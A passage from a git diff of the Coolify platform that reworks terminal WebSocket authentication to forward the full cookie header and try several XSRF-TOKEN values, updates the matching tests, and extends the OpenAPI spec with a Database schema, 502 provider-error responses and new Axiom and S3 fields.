terminalSessionTimeout * 1000); } -// The text message is kept for clients that predate the close code. function rejectTerminalToken(userSession, message) { logTerminal('warn', 'Closing websocket connection because the terminal token was rejected.', { userId: userSession.userId, reason: message, }); - rejectTerminalSocket(userSession.ws, TERMINAL_CLOSE_CODES.TOKEN_REJECTED, message, { message }); + rejectTerminalSocket(userSession.ws, TERMINAL_CLOSE_CODES.TOKEN_REJECTED, message); } async function handleTerminalToken(userSession, token) { diff --git a/docker/coolify-terminal/terminal-utils.js b/docker/coolify-terminal/terminal-utils.js index 8675e10516..ac2325f0da 100644 --- a/docker/coolify-terminal/terminal-utils.js +++ b/docker/coolify-terminal/terminal-utils.js @@ -1,3 +1,5 @@ +import { parseCookie } from 'cookie'; + export const MAX_TERMINAL_SESSION_TIMEOUT_SECONDS = 8 * 60 * 60; /** @@ -14,16 +16,54 @@ export const TERMINAL_CLOSE_CODES = Object.freeze({ export const TERMINAL_REJECTED_SOCKET_TERMINATE_MS = 2000; /** - * Authenticates a terminal WebSocket upgrade with the browser's Laravel session - * cookie and XSRF token. Performs the same checks as the former verifyClient - * callback; only the way a rejection is reported to the client differs. - * - * @param {{ laravelSession?: string, xsrfToken?: string, sessionCookieName: string }} session - * @param {(path: string, headers: object) => Promise<{ status: number }>} postToCoolify - * @returns {Promise<{ authenticated: true } | { authenticated: false, closeCode: number, reason: string, status?: number, error?: Error }>} + * Limits the Coolify requests that one WebSocket upgrade can cause. */ -export async function authenticateTerminalUpgrade({ laravelSession, xsrfToken, sessionCookieName }, postToCoolify) { - if (!laravelSession || !xsrfToken) { +export const MAX_XSRF_TOKEN_CANDIDATES = 5; + +/** + * Builds the header sets that can authenticate terminal requests to Coolify, one + * for each XSRF-TOKEN cookie. The whole browser Cookie header is forwarded, so + * Laravel finds its session cookie by its own name (SESSION_COOKIE or the slug + * of APP_NAME). + * + * The browser sends more than one XSRF-TOKEN cookie when a Laravel app on a + * parent domain also sets one (for example SESSION_DOMAIN=.example.com). Their + * order in the header does not show which one is Coolify's, so the caller must + * try each one. + * + * @param {string | undefined} cookieHeader + * @returns {Array<{ 'Cookie': string, 'X-XSRF-TOKEN': string }>} empty when a required value is missing + */ +export function getTerminalAuthHeaders(cookieHeader) { + if (!cookieHeader) { + return []; + } + + // parseCookie() keeps only the first cookie of a name, so parse each pair alone. + const xsrfTokens = cookieHeader + .split(';') + .map((pair) => parseCookie(pair)['XSRF-TOKEN']) + .filter(Boolean); + + return [...new Set(xsrfTokens)] + .slice(0, MAX_XSRF_TOKEN_CANDIDATES) + .map((xsrfToken) => ({ + 'Cookie': cookieHeader, + 'X-XSRF-TOKEN': xsrfToken, + })); +} + +/** + * Authenticates a terminal WebSocket upgrade with the browser's Laravel session + * cookie and XSRF token. Returns the headers that Coolify accepted, for the + * requests that follow on the same connection. + * + * @param {Array<{ 'Cookie': string, 'X-XSRF-TOKEN': string }>} authHeaderCandidates from getTerminalAuthHeaders() + * @param {(path: string, headers: object) => Promise<{ status: number }>} postToCoolify + * @returns {Promise<{ authenticated: true, authHeaders: object } | { authenticated: false, closeCode: number, reason: string, status?: number, error?: Error }>} + */ +export async function authenticateTerminalUpgrade(authHeaderCandidates, postToCoolify) { + if (authHeaderCandidates.length === 0) { return { authenticated: false, closeCode: TERMINAL_CLOSE_CODES.AUTH_REJECTED, @@ -31,22 +71,18 @@ export async function authenticateTerminalUpgrade({ laravelSession, xsrfToken, s }; } + let status; + try { - const response = await postToCoolify('/terminal/auth', { - 'Cookie': `${sessionCookieName}=${laravelSession}`, - 'X-XSRF-TOKEN': xsrfToken, - }); + for (const authHeaders of authHeaderCandidates) { + const response = await postToCoolify('/terminal/auth', authHeaders); - if (response.status === 200) { - return { authenticated: true }; + if (response.status === 200) { + return { authenticated: true, authHeaders }; + } + + status = response.status; } - - return { - authenticated: false, - closeCode: TERMINAL_CLOSE_CODES.AUTH_REJECTED, - reason: 'Unauthorized: Invalid credentials', - status: response.status, - }; } catch (error) { return { authenticated: false, @@ -55,14 +91,20 @@ export async function authenticateTerminalUpgrade({ laravelSession, xsrfToken, s error, }; } + + return { + authenticated: false, + closeCode: TERMINAL_CLOSE_CODES.AUTH_REJECTED, + reason: 'Unauthorized: Invalid credentials', + status, + }; } /** - * Closes a WebSocket that must not be used, optionally sending a legacy text - * message first for clients that predate close codes. The socket is terminated - * if the peer does not complete the close handshake quickly. + * Closes a WebSocket that must not be used. The socket is terminated if the + * peer does not complete the close handshake quickly. */ -export function rejectTerminalSocket(ws, closeCode, reason, { message = null, terminateAfterMs = TERMINAL_REJECTED_SOCKET_TERMINATE_MS } = {}) { +export function rejectTerminalSocket(ws, closeCode, reason, { terminateAfterMs = TERMINAL_REJECTED_SOCKET_TERMINATE_MS } = {}) { const terminateTimer = setTimeout(() => ws.terminate(), terminateAfterMs); terminateTimer.unref?.(); ws.once('close', () => clearTimeout(terminateTimer)); @@ -70,10 +112,6 @@ export function rejectTerminalSocket(ws, closeCode, reason, { message = null, te // malformed frame from an unauthenticated client) would crash the server. ws.on('error', () => ws.terminate()); - if (message !== null) { - ws.send(message); - } - ws.close(closeCode, reason); } diff --git a/docker/coolify-terminal/terminal-utils.test.js b/docker/coolify-terminal/terminal-utils.test.js index d0452e1f72..48f628707d 100644 --- a/docker/coolify-terminal/terminal-utils.test.js +++ b/docker/coolify-terminal/terminal-utils.test.js @@ -6,6 +6,7 @@ import { authenticateTerminalUpgrade, createTerminalUpgradeHandler, extractSshArgs, + getTerminalAuthHeaders, extractTargetHost, getTerminalProcessEnv, getTerminalSessionTimeout, @@ -308,18 +309,40 @@ function createFakeWebSocketServer({ handles = true } = {}) { const flushPromises = () => new Promise((resolve) => setImmediate(resolve)); -test('authenticateTerminalUpgrade rejects missing session cookies with the auth close code without calling Coolify', async () => { +test('getTerminalAuthHeaders forwards the whole cookie header so Laravel reads its own session cookie name', () => { + // APP_NAME="Coolify - Prod" gives the Laravel cookie "coolify_prod_session"; + // the terminal server must not guess that name (issue #10549). + const cookieHeader = 'theme=dark; coolify_prod_session=session-value; XSRF-TOKEN=xsrf-value'; + + assert.deepEqual(getTerminalAuthHeaders(cookieHeader), [{ + 'Cookie': cookieHeader, + 'X-XSRF-TOKEN': 'xsrf-value', + }]); +}); + +test('getTerminalAuthHeaders makes one candidate for each XSRF-TOKEN cookie', () => { + // A Laravel app on a sibling subdomain with SESSION_DOMAIN=.example.com sets a + // second XSRF-TOKEN cookie that the browser also sends to Coolify (issue #10397). + const cookieHeader = 'XSRF-TOKEN=sibling%3D; coolify_session=session; XSRF-TOKEN=coolify%3D; XSRF-TOKEN=sibling%3D'; + + assert.deepEqual(getTerminalAuthHeaders(cookieHeader).map((headers) => headers['X-XSRF-TOKEN']), ['sibling=', 'coolify=']); +}); + +test('getTerminalAuthHeaders limits the number of XSRF-TOKEN candidates', () => { + const cookieHeader = Array.from({ length: 50 }, (_, index) => `XSRF-TOKEN=token-${index}`).join('; '); + + assert.deepEqual(getTerminalAuthHeaders(cookieHeader).map((headers) => headers['X-XSRF-TOKEN']), ['token-0', 'token-1', 'token-2', 'token-3', 'token-4']); +}); + +test('authenticateTerminalUpgrade rejects missing cookies with the auth close code without calling Coolify', async () => { let requests = 0; const postToCoolify = async () => { requests++; return { status: 200 }; }; - for (const session of [ - { sessionCookieName: 'coolify_session', laravelSession: undefined, xsrfToken: 'xsrf' }, - { sessionCookieName: 'coolify_session', laravelSession: 'session', xsrfToken: undefined }, - ]) { - assert.deepEqual(await authenticateTerminalUpgrade(session, postToCoolify), { + for (const cookieHeader of ['', undefined, 'coolify_session=session', 'coolify_session=session; XSRF-TOKEN=']) { + assert.deepEqual(await authenticateTerminalUpgrade(getTerminalAuthHeaders(cookieHeader), postToCoolify), { authenticated: false, closeCode: TERMINAL_CLOSE_CODES.AUTH_REJECTED, reason: 'Unauthorized: Missing required tokens', @@ -334,36 +357,50 @@ test('authenticateTerminalUpgrade rejects missing session cookies with the auth test('authenticateTerminalUpgrade checks the Laravel session exactly like the previous verifyClient', async () => { const requests = []; const result = await authenticateTerminalUpgrade( - { sessionCookieName: 'coolify_session', laravelSession: 'session-value', xsrfToken: 'xsrf-value' }, + getTerminalAuthHeaders('coolify_session=session-value; XSRF-TOKEN=xsrf-value'), async (path, headers) => { requests.push([path, headers]); return { status: 200 }; }, ); - assert.deepEqual(result, { authenticated: true }); - assert.deepEqual(requests, [[ - '/terminal/auth', - { 'Cookie': 'coolify_session=session-value', 'X-XSRF-TOKEN': 'xsrf-value' }, - ]]); + const authHeaders = { 'Cookie': 'coolify_session=session-value; XSRF-TOKEN=xsrf-value', 'X-XSRF-TOKEN': 'xsrf-value' }; + assert.deepEqual(result, { authenticated: true, authHeaders }); + assert.deepEqual(requests, [['/terminal/auth', authHeaders]]); +}); + +test('authenticateTerminalUpgrade tries the next XSRF-TOKEN when Coolify rejects one', async () => { + const triedTokens = []; + const result = await authenticateTerminalUpgrade( + getTerminalAuthHeaders('XSRF-TOKEN=sibling; coolify_session=session; XSRF-TOKEN=coolify; XSRF-TOKEN=other'), + async (path, headers) => { + triedTokens.push(headers['X-XSRF-TOKEN']); + return { status: headers['X-XSRF-TOKEN'] === 'coolify' ? 200 : 419 }; + }, + ); + + assert.equal(result.authenticated, true); + assert.equal(result.authHeaders['X-XSRF-TOKEN'], 'coolify'); + assert.deepEqual(triedTokens, ['sibling', 'coolify']); }); test('authenticateTerminalUpgrade rejects every non-200 Coolify response', async () => { for (const status of [201, 204, 302, 401, 403, 419, 500]) { const result = await authenticateTerminalUpgrade( - { sessionCookieName: 'coolify_session', laravelSession: 'session', xsrfToken: 'xsrf' }, + getTerminalAuthHeaders('coolify_session=session; XSRF-TOKEN=xsrf; XSRF-TOKEN=other'), async () => ({ status }), ); assert.equal(result.authenticated, false, `status ${status} must not authenticate`); assert.equal(result.closeCode, TERMINAL_CLOSE_CODES.AUTH_REJECTED); assert.equal(result.reason, 'Unauthorized: Invalid credentials'); + assert.equal(result.status, status); } }); test('authenticateTerminalUpgrade does not authenticate when Coolify is unreachable', async () => { const result = await authenticateTerminalUpgrade( - { sessionCookieName: 'coolify_session', laravelSession: 'session', xsrfToken: 'xsrf' }, + getTerminalAuthHeaders('coolify_session=session; XSRF-TOKEN=xsrf'), async () => { throw new Error('connect ECONNREFUSED'); }, @@ -374,18 +411,13 @@ test('authenticateTerminalUpgrade does not authenticate when Coolify is unreacha assert.equal(result.error.message, 'connect ECONNREFUSED'); }); -test('rejectTerminalSocket sends the legacy message before closing with a readable code', () => { +test('rejectTerminalSocket closes with a readable code and sends no text message', () => { const ws = createFakeWebSocket(); - rejectTerminalSocket(ws, TERMINAL_CLOSE_CODES.TOKEN_REJECTED, 'Unauthorized: Terminal token was rejected', { - message: 'Unauthorized: Terminal token was rejected', - }); + rejectTerminalSocket(ws, TERMINAL_CLOSE_CODES.TOKEN_REJECTED, 'Unauthorized: Terminal token was rejected'); ws.peerClosed(); - assert.deepEqual(ws.events, [ - ['send', 'Unauthorized: Terminal token was rejected'], - ['close', 4403, 'Unauthorized: Terminal token was rejected'], - ]); + assert.deepEqual(ws.events, [['close', 4403, 'Unauthorized: Terminal token was rejected']]); }); test('rejectTerminalSocket terminates peers that ignore the close handshake', async () => { diff --git a/docs/server-transfer-full-coverage.md b/docs/server-transfer-full-coverage.md index 3c39e0e15d..25a7835e03 100644 --- a/docs/server-transfer-full-coverage.md +++ b/docs/server-transfer-full-coverage.md @@ -42,7 +42,7 @@ When you add a model or a setting to the transfer, add it to this file too. | ✅ | Metrics / Sentinel | metrics on, refresh rate 10 s, history 14 days, push interval 30 s | | ✅ | Traffic analytics | on, top N 20, sample threshold, retention 1h=3 / 1d=60 days, IP mode `anonymized` | | ✅ | GeoIP | on, MaxMind license key, refresh 14 days | -| ✅ | Log drains | New Relic (key + base URI), Highlight (project ID), Axiom (dataset + key), custom (config + parser), one of them enabled | +| ✅ | Log drains | New Relic (key + base URI), Axiom (dataset, key + edge domain), custom (config + parser), one of them enabled | | ✅ | Cloudflare tunnel | tunnel on, tunnel ID, account ID, Cloudflare integration token selected, and the DNS record of the SSH hostname. Expected: the record moves with the server; the source keeps it only for a take back (not owned) | | ➕ | Jump server flag | on (on a server that is only a jump host) | diff --git a/openapi.json b/openapi.json index 8346937218..53fba3b4c6 100644 --- a/openapi.json +++ b/openapi.json @@ -534,8 +534,6 @@ "required": [ "project_uuid", "server_uuid", - "environment_name", - "environment_uuid", "git_repository", "git_branch", "build_pack" @@ -1197,8 +1195,6 @@ "required": [ "project_uuid", "server_uuid", - "environment_name", - "environment_uuid", "github_app_uuid", "git_repository", "git_branch", @@ -1855,8 +1851,6 @@ "required": [ "project_uuid", "server_uuid", - "environment_name", - "environment_uuid", "private_key_uuid", "git_repository", "git_branch", @@ -2513,8 +2507,6 @@ "required": [ "project_uuid", "server_uuid", - "environment_name", - "environment_uuid", "dockerfile" ], "properties": { @@ -3056,8 +3048,6 @@ "required": [ "project_uuid", "server_uuid", - "environment_name", - "environment_uuid", "docker_registry_image_name" ], "properties": { @@ -4373,7 +4363,7 @@ { "name": "service_name", "in": "query", - "description": "Return logs only from the container of the Docker Compose service with this name. Returns 404 when no running container matches.", + "description": "Return logs only from the container of the Docker Compose service with this name. Returns 404 when no container matches. Stopped containers are included.", "required": false, "schema": { "type": "string" @@ -4477,7 +4467,7 @@ { "name": "service_name", "in": "query", - "description": "Return logs only from the container of the Docker Compose service with this name. Returns 404 when no running container matches.", + "description": "Return logs only from the container of the Docker Compose service with this name. Returns 404 when no container matches. Stopped containers are included.", "required": false, "schema": { "type": "string" @@ -7052,9 +7042,11 @@ "content": { "application\/json": { "schema": { - "type": "string" - }, - "example": "Content is very complex. Will be implemented later." + "type": "array", + "items": { + "$ref": "#\/components\/schemas\/Database" + } + } } } }, @@ -7298,13 +7290,12 @@ ], "responses": { "200": { - "description": "Get all databases", + "description": "Get database by UUID", "content": { "application\/json": { "schema": { - "type": "string" - }, - "example": "Content is very complex. Will be implemented later." + "$ref": "#\/components\/schemas\/Database" + } } } }, @@ -7920,9 +7911,7 @@ "schema": { "required": [ "server_uuid", - "project_uuid", - "environment_name", - "environment_uuid" + "project_uuid" ], "properties": { "server_uuid": { @@ -8075,9 +8064,7 @@ "schema": { "required": [ "server_uuid", - "project_uuid", - "environment_name", - "environment_uuid" + "project_uuid" ], "properties": { "server_uuid": { @@ -8214,9 +8201,7 @@ "schema": { "required": [ "server_uuid", - "project_uuid", - "environment_name", - "environment_uuid" + "project_uuid" ], "properties": { "server_uuid": { @@ -8349,9 +8334,7 @@ "schema": { "required": [ "server_uuid", - "project_uuid", - "environment_name", - "environment_uuid" + "project_uuid" ], "properties": { "server_uuid": { @@ -8488,9 +8471,7 @@ "schema": { "required": [ "server_uuid", - "project_uuid", - "environment_name", - "environment_uuid" + "project_uuid" ], "properties": { "server_uuid": { @@ -8627,9 +8608,7 @@ "schema": { "required": [ "server_uuid", - "project_uuid", - "environment_name", - "environment_uuid" + "project_uuid" ], "properties": { "server_uuid": { @@ -8778,9 +8757,7 @@ "schema": { "required": [ "server_uuid", - "project_uuid", - "environment_name", - "environment_uuid" + "project_uuid" ], "properties": { "server_uuid": { @@ -8929,9 +8906,7 @@ "schema": { "required": [ "server_uuid", - "project_uuid", - "environment_name", - "environment_uuid" + "project_uuid" ], "properties": { "server_uuid": { @@ -9068,9 +9043,7 @@ "schema": { "required": [ "server_uuid", - "project_uuid", - "environment_name", - "environment_uuid" + "project_uuid" ], "properties": { "server_uuid": { @@ -11576,6 +11549,9 @@ }, "429": { "description": "DigitalOcean rate limit exceeded." + }, + "502": { + "$ref": "#\/components\/responses\/502" } }, "security": [ @@ -12614,6 +12590,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "502": { + "$ref": "#\/components\/responses\/502" } }, "security": [ @@ -12629,9 +12608,18 @@ "Hetzner" ], "summary": "Get Hetzner Server Types", - "description": "Get all available Hetzner server types (instance sizes).", + "description": "Get the Hetzner server types (instance sizes) that can be ordered now. Each type lists only the locations where it is in stock and not deprecated.", "operationId": "get-hetzner-server-types", "parameters": [ + { + "name": "location", + "in": "query", + "description": "Return only the server types that can be ordered in this location, for example nbg1.", + "required": false, + "schema": { + "type": "string" + } + }, { "name": "cloud_provider_token_uuid", "in": "query", @@ -12725,6 +12713,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "502": { + "$ref": "#\/components\/responses\/502" } }, "security": [ @@ -12805,6 +12796,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "502": { + "$ref": "#\/components\/responses\/502" } }, "security": [ @@ -12876,6 +12870,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "502": { + "$ref": "#\/components\/responses\/502" } }, "security": [ @@ -12941,6 +12938,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "502": { + "$ref": "#\/components\/responses\/502" } }, "security": [ @@ -13009,6 +13009,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "502": { + "$ref": "#\/components\/responses\/502" } }, "security": [ @@ -13118,7 +13121,7 @@ "instant_validate": { "type": "boolean", "example": false, - "description": "Validate server immediately after creation" + "description": "Validate the server and install Docker when it is running. Defaults to true for tokens with the deploy permission, and needs that permission." } }, "type": "object" @@ -13169,6 +13172,9 @@ }, "429": { "$ref": "#\/components\/responses\/429" + }, + "502": { + "$ref": "#\/components\/responses\/502" } }, "security": [ @@ -14671,13 +14677,49 @@ "operationId": "list-resources", "responses": { "200": { - "description": "Get all resources", + "description": "Get all applications, services and standalone databases. The other fields of each resource are the fields of the Application, Service or Database schema.", "content": { "application\/json": { "schema": { - "type": "string" - }, - "example": "Content is very complex. Will be implemented later." + "type": "array", + "items": { + "properties": { + "uuid": { + "type": "string" + }, + "name": { + "type": "string" + }, + "description": { + "type": [ + "string", + "null" + ] + }, + "type": { + "description": "application, service, or standalone- for databases (for example standalone-postgresql).", + "type": "string" + }, + "status": { + "description": "For example running:healthy or exited:unhealthy.", + "type": "string" + }, + "environment_id": { + "type": "integer" + }, + "created_at": { + "type": "string", + "format": "date-time" + }, + "updated_at": { + "type": "string", + "format": "date-time" + } + }, + "type": "object", + "additionalProperties": true + } + } } } }, @@ -14731,6 +14773,9 @@ "region": { "type": "string" }, + "use_path_style_endpoint": { + "type": "boolean" + }, "is_usable": { "type": "boolean" }, @@ -14810,6 +14855,10 @@ "example": "us-east-1", "description": "S3 region." }, + "use_path_style_endpoint": { + "type": "boolean", + "description": "Use path-style URLs (endpoint\/bucket). Set to false for providers that only accept virtual-hosted-style URLs (bucket.endpoint). Default: false for Alibaba Cloud OSS, Tencent Cloud COS, and Volcengine TOS endpoints, true for all other endpoints." + }, "key": { "type": "string", "description": "Access key." @@ -14908,6 +14957,9 @@ "region": { "type": "string" }, + "use_path_style_endpoint": { + "type": "boolean" + }, "is_usable": { "type": "boolean" }, @@ -15033,6 +15085,10 @@ "type": "string", "description": "S3 region." }, + "use_path_style_endpoint": { + "type": "boolean", + "description": "Use path-style URLs (endpoint\/bucket). Set to false for providers that only accept virtual-hosted-style URLs (bucket.endpoint), such as Alibaba Cloud OSS." + }, "key": { "type": "string", "description": "Access key." @@ -17136,6 +17192,12 @@ "null" ] }, + "logdrain_axiom_domain": { + "type": [ + "string", + "null" + ] + }, "logdrain_axiom_api_key": { "description": "Only present with read:sensitive.", "type": "string" @@ -17234,6 +17296,10 @@ "logdrain_axiom_dataset_name": { "type": "string" }, + "logdrain_axiom_domain": { + "description": "Base domain of the Axiom edge deployment. Default: us-east-1.aws.edge.axiom.co. Use eu-central-1.aws.edge.axiom.co for EU datasets.", + "type": "string" + }, "logdrain_axiom_api_key": { "type": "string" }, @@ -20247,9 +20313,7 @@ "schema": { "required": [ "server_uuid", - "project_uuid", - "environment_name", - "environment_uuid" + "project_uuid" ], "properties": { "type": { @@ -24008,6 +24072,9 @@ }, "429": { "description": "Vultr API rate limit exceeded." + }, + "502": { + "$ref": "#\/components\/responses\/502" } }, "security": [ @@ -24204,6 +24271,400 @@ }, "type": "object" }, + "Database": { + "description": "Standalone database. The fields that start with an engine name (for example postgres_ or redis_) are only returned for that engine. Passwords, connection URLs and init_scripts are only returned for tokens with the read:sensitive or root ability.", + "properties": { + "uuid": { + "type": "string" + }, + "name": { + "type": "string" + }, + "description": { + "type": [ + "string", + "null" + ] + }, + "database_type": { + "type": "string", + "enum": [ + "standalone-postgresql", + "standalone-redis", + "standalone-mongodb", + "standalone-mysql", + "standalone-mariadb", + "standalone-keydb", + "standalone-dragonfly", + "standalone-clickhouse", + "standalone-sqlite" + ] + }, + "image": { + "type": "string" + }, + "status": { + "description": "Container status and health, for example running:healthy or exited:unhealthy.", + "type": "string" + }, + "server_status": { + "description": "True when the server of the database is reachable and usable.", + "type": "boolean" + }, + "environment_id": { + "type": "integer" + }, + "environment": { + "$ref": "#\/components\/schemas\/Environment", + "description": "Only returned by GET \/databases\/{uuid}. Includes the project." + }, + "destination_id": { + "type": "integer" + }, + "destination_type": { + "type": "string" + }, + "destination": { + "description": "Docker network destination of the database, with its server.", + "properties": { + "uuid": { + "type": "string" + }, + "name": { + "type": "string" + }, + "network": { + "type": "string" + }, + "server_id": { + "type": "integer" + }, + "server": { + "$ref": "#\/components\/schemas\/Server" + }, + "created_at": { + "type": "string", + "format": "date-time" + }, + "updated_at": { + "type": "string", + "format": "date-time" + } + }, + "type": "object" + }, + "is_public": { + "description": "Not returned for SQLite.", + "type": "boolean" + }, + "public_port": { + "description": "Not returned for SQLite.", + "type": [ + "integer", + "null" + ] + }, + "public_port_timeout": { + "description": "Proxy timeout of the public port in seconds. Not returned for SQLite.", + "type": [ + "integer", + "null" + ] + }, + "ports_mappings": { + "description": "Comma-separated host:container port mappings. Not returned for SQLite.", + "type": [ + "string", + "null" + ] + }, + "enable_ssl": { + "description": "Not returned for ClickHouse and SQLite.", + "type": "boolean" + }, + "ssl_mode": { + "description": "PostgreSQL, MongoDB and MySQL only.", + "type": [ + "string", + "null" + ] + }, + "internal_db_url": { + "description": "Connection URL inside the Docker network. Contains the password. Not returned for SQLite.", + "type": [ + "string", + "null" + ] + }, + "external_db_url": { + "description": "Public connection URL, when the database is public. Contains the password. Not returned for SQLite.", + "type": [ + "string", + "null" + ] + }, + "init_scripts": { + "description": "PostgreSQL only.", + "type": [ + "array", + "null" + ], + "items": { + "properties": { + "index": { + "type": "integer" + }, + "filename": { + "type": "string" + }, + "content": { + "type": "string" + } + }, + "type": "object" + } + }, + "custom_docker_run_options": { + "type": [ + "string", + "null" + ] + }, + "is_log_drain_enabled": { + "type": "boolean" + }, + "is_include_timestamps": { + "description": "Not returned for MariaDB.", + "type": "boolean" + }, + "include_coolify_default_variables": { + "type": "boolean" + }, + "redact_all_env_values_in_logs": { + "type": "boolean" + }, + "health_check_enabled": { + "type": "boolean" + }, + "health_check_interval": { + "type": "integer" + }, + "health_check_timeout": { + "type": "integer" + }, + "health_check_retries": { + "type": "integer" + }, + "health_check_start_period": { + "type": "integer" + }, + "limits_memory": { + "type": "string" + }, + "limits_memory_swap": { + "type": "string" + }, + "limits_memory_swappiness": { + "type": "integer" + }, + "limits_memory_reservation": { + "type": "string" + }, + "limits_cpus": { + "type": "string" + }, + "limits_cpuset": { + "type": [ + "string", + "null" + ] + }, + "limits_cpu_shares": { + "type": "integer" + }, + "config_hash": { + "description": "Internal hash that Coolify uses to find configuration changes that need a restart. It changes only when the database starts, so do not use it to compare configurations.", + "type": [ + "string", + "null" + ] + }, + "restart_count": { + "type": "integer" + }, + "last_restart_at": { + "type": [ + "string", + "null" + ], + "format": "date-time" + }, + "last_restart_type": { + "type": [ + "string", + "null" + ] + }, + "last_online_at": { + "type": [ + "string", + "null" + ] + }, + "started_at": { + "type": [ + "string", + "null" + ], + "format": "date-time" + }, + "backup_configs": { + "description": "Only returned by GET \/databases. The scheduled backups of the database, as returned by GET \/databases\/{uuid}\/backups.", + "type": "array", + "items": { + "type": "object" + } + }, + "postgres_user": { + "type": "string" + }, + "postgres_password": { + "type": "string", + "format": "password" + }, + "postgres_db": { + "type": "string" + }, + "postgres_initdb_args": { + "type": [ + "string", + "null" + ] + }, + "postgres_host_auth_method": { + "type": [ + "string", + "null" + ] + }, + "postgres_conf": { + "type": [ + "string", + "null" + ] + }, + "redis_password": { + "type": "string", + "format": "password" + }, + "redis_conf": { + "type": [ + "string", + "null" + ] + }, + "mongo_initdb_root_username": { + "type": "string" + }, + "mongo_initdb_root_password": { + "type": "string", + "format": "password" + }, + "mongo_initdb_database": { + "type": "string" + }, + "mongo_conf": { + "type": [ + "string", + "null" + ] + }, + "mysql_user": { + "type": "string" + }, + "mysql_password": { + "type": "string", + "format": "password" + }, + "mysql_root_password": { + "type": "string", + "format": "password" + }, + "mysql_database": { + "type": "string" + }, + "mysql_conf": { + "type": [ + "string", + "null" + ] + }, + "mariadb_user": { + "type": "string" + }, + "mariadb_password": { + "type": "string", + "format": "password" + }, + "mariadb_root_password": { + "type": "string", + "format": "password" + }, + "mariadb_database": { + "type": "string" + }, + "mariadb_conf": { + "type": [ + "string", + "null" + ] + }, + "keydb_password": { + "type": "string", + "format": "password" + }, + "keydb_conf": { + "type": [ + "string", + "null" + ] + }, + "dragonfly_password": { + "type": "string", + "format": "password" + }, + "clickhouse_admin_user": { + "type": "string" + }, + "clickhouse_admin_password": { + "type": "string", + "format": "password" + }, + "clickhouse_db": { + "type": "string" + }, + "sqlite_databases": { + "description": "Comma-separated SQLite database file names.", + "type": "string" + }, + "created_at": { + "type": "string", + "format": "date-time" + }, + "updated_at": { + "type": "string", + "format": "date-time" + }, + "deleted_at": { + "type": [ + "string", + "null" + ], + "format": "date-time" + } + }, + "type": "object" + }, "ApplicationPreview": { "properties": { "uuid": { @@ -25617,6 +26078,10 @@ "logdrain_axiom_dataset_name": { "type": "string" }, + "logdrain_axiom_domain": { + "type": "string", + "description": "Base domain of the Axiom edge deployment, for example us-east-1.aws.edge.axiom.co or eu-central-1.aws.edge.axiom.co." + }, "logdrain_cloudwatch_region": { "type": "string" }, @@ -26035,6 +26500,35 @@ } } } + }, + "502": { + "description": "The cloud provider API rejected the request.", + "content": { + "application\/json": { + "schema": { + "properties": { + "message": { + "type": "string", + "example": "Failed to create Hetzner server. The Hetzner API token does not have permission for this request. Use a token with read and write access." + }, + "provider_status": { + "description": "The HTTP status from the cloud provider API.", + "type": "integer", + "example": 403 + }, + "provider_error_code": { + "description": "The error code from the cloud provider API, if it has one.", + "type": [ + "string", + "null" + ], + "example": "forbidden" + } + }, + "type": "object" + } + } + } } }, "securitySchemes": { diff --git a/openapi.yaml b/openapi.yaml index 82076ff382..3de7ed2693 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -331,8 +331,6 @@ paths: required: - project_uuid - server_uuid - - environment_name - - environment_uuid - git_repository - git_branch - build_pack @@ -773,8 +771,6 @@ paths: required: - project_uuid - server_uuid - - environment_name - - environment_uuid - github_app_uuid - git_repository - git_branch @@ -1211,8 +1207,6 @@ paths: required: - project_uuid - server_uuid - - environment_name - - environment_uuid - private_key_uuid - git_repository - git_branch @@ -1649,8 +1643,6 @@ paths: required: - project_uuid - server_uuid - - environment_name - - environment_uuid - dockerfile properties: project_uuid: @@ -2020,8 +2012,6 @@ paths: required: - project_uuid - server_uuid - - environment_name - - environment_uuid - docker_registry_image_name properties: project_uuid: @@ -2907,7 +2897,7 @@ paths: - name: service_name in: query - description: 'Return logs only from the container of the Docker Compose service with this name. Returns 404 when no running container matches.' + description: 'Return logs only from the container of the Docker Compose service with this name. Returns 404 when no container matches. Stopped containers are included.' required: false schema: type: string @@ -2980,7 +2970,7 @@ paths: - name: service_name in: query - description: 'Return logs only from the container of the Docker Compose service with this name. Returns 404 when no running container matches.' + description: 'Return logs only from the container of the Docker Compose service with this name. Returns 404 when no container matches. Stopped containers are included.' required: false schema: type: string @@ -4554,8 +4544,9 @@ paths: content: application/json: schema: - type: string - example: 'Content is very complex. Will be implemented later.' + type: array + items: + $ref: '#/components/schemas/Database' '401': $ref: '#/components/responses/401' '400': @@ -4719,12 +4710,11 @@ paths: type: string responses: '200': - description: 'Get all databases' + description: 'Get database by UUID' content: application/json: schema: - type: string - example: 'Content is very complex. Will be implemented later.' + $ref: '#/components/schemas/Database' '401': $ref: '#/components/responses/401' '400': @@ -5163,8 +5153,6 @@ paths: required: - server_uuid - project_uuid - - environment_name - - environment_uuid properties: server_uuid: type: string @@ -5274,8 +5262,6 @@ paths: required: - server_uuid - project_uuid - - environment_name - - environment_uuid properties: server_uuid: type: string @@ -5373,8 +5359,6 @@ paths: required: - server_uuid - project_uuid - - environment_name - - environment_uuid properties: server_uuid: type: string @@ -5469,8 +5453,6 @@ paths: required: - server_uuid - project_uuid - - environment_name - - environment_uuid properties: server_uuid: type: string @@ -5568,8 +5550,6 @@ paths: required: - server_uuid - project_uuid - - environment_name - - environment_uuid properties: server_uuid: type: string @@ -5667,8 +5647,6 @@ paths: required: - server_uuid - project_uuid - - environment_name - - environment_uuid properties: server_uuid: type: string @@ -5775,8 +5753,6 @@ paths: required: - server_uuid - project_uuid - - environment_name - - environment_uuid properties: server_uuid: type: string @@ -5883,8 +5859,6 @@ paths: required: - server_uuid - project_uuid - - environment_name - - environment_uuid properties: server_uuid: type: string @@ -5982,8 +5956,6 @@ paths: required: - server_uuid - project_uuid - - environment_name - - environment_uuid properties: server_uuid: type: string @@ -7580,6 +7552,8 @@ paths: description: 'Validation failed.' '429': description: 'DigitalOcean rate limit exceeded.' + '502': + $ref: '#/components/responses/502' security: - bearerAuth: [] @@ -8161,6 +8135,8 @@ paths: $ref: '#/components/responses/401' '404': $ref: '#/components/responses/404' + '502': + $ref: '#/components/responses/502' security: - bearerAuth: [] @@ -8169,9 +8145,16 